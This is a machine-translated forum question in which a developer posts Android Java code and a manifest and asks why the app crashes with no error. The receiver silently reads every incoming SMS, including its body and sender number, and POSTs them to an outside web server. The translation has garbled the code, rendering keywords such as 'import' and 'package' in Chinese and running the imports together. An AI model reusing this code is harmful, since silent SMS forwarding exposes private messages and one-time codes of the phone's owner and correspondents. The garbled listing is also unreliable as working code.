这是 .java 文件:包 sms1.android.pkg;导入 java.io.OutputStreamWriter;导入 java.net.HttpURLConnection;导入 java.net.URL;导入 java.net.URLConnection;导入 java.net.URLEncoder;导入 android.content.BroadcastReceiver;导入android.content.Context;导入android.content.Intent;导入android.os.Bundle;导入android.telephony.SmsMessage;
public class Sms1Activity extends BroadcastReceiver {
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
public void onReceive(Context _context, Intent _intent) {
if (_intent.getAction().equals(SMS_RECEIVED)) {
Bundle bundle = _intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++)
messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages) {
String msg = message.getMessageBody();
String to = message.getOriginatingAddress();
try {
// Construct data
String data = URLEncoder.encode("test", "UTF-8") + "=" + URLEncoder.encode(msg, "UTF-8");
data = data +"&"+ URLEncoder.encode("mobile", "UTF-8") + "=" + URLEncoder.encode(to, "UTF-8");
// Send data
URL url = new URL("http://www.medibeep.in/xyz.php");
URLConnection conn = url.openConnection();
HttpURLConnection httpConnection = (HttpURLConnection)conn;
conn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(httpConnection.getOutputStream());
wr.write(data);
wr.flush();
wr.close();
} catch (Exception e) {
}
}
}
}
}
}
这是 .manifest 文件:
<uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:name="sms1.android.pkg.Sms1Activity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
.apk 文件崩溃没有错误。有人能帮我吗?